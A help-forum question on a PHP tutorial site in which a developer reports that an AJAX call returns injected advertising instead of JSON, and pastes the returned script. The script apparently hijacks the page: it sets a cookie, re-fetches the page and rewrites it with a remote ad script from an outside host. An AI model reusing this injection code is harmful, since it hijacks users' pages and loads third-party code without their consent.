>백엔드 개발 >PHP 튜토리얼 >js请求接口时返回的数据被换成广告该怎么办?

js请求接口时返回的数据被换成广告该怎么办?

WBOY
WBOY원래의
2016-07-06 13:52:152010검색

js ajax请回返回数据被替换,正常应该返回json数据,结果返回一大堆广告。

返回内容如下:



<code><script>!
  function() {
    function a() {
      var a = new Date;
      a.setTime(a.getTime() + 6e4),
      document.cookie = "sessioned=1;expires=" + a.toUTCString()
    }
    function b(b) {
      a(),
      setTimeout(function() {
        location.href = location.href
      },
      b)
    }
    var d, e, f, c = 1e4;
    try {
      if (!/sessioned=1/.test(document.cookie)) {
        a(),
        e = document.createElement("script"),
        f = !1,
        e.src = "http://www.henan139.com/js/V20/ad01.js?1",
        d = new XMLHttpRequest,
        d.open("GET", window.location, !0),
        d.setRequestHeader("X-Requested-With", "XMLHttpRequest");
        try {
          d.timeout = c
        } catch(g) {}
        d.send(),
        d.onreadystatechange = function() {
          try {
            if (4 == d.readyState) {
              if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";
              text = d.responseText.replace(/<\/body>/i, e.outerHTML + ""),
              document.open("text/html", "replace"),
              document.write(text),
              setTimeout(function() {
                document.close()
              },
              1e3),
              f = !0
            }
          } catch(a) {
            b(100)
          }
        }
      }
    } catch(g) {
      b(150)
    } finally {
      setTimeout(function() {
        f || b(1)
      },
      c + 1e3)
    }
  } ();</script></code>

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.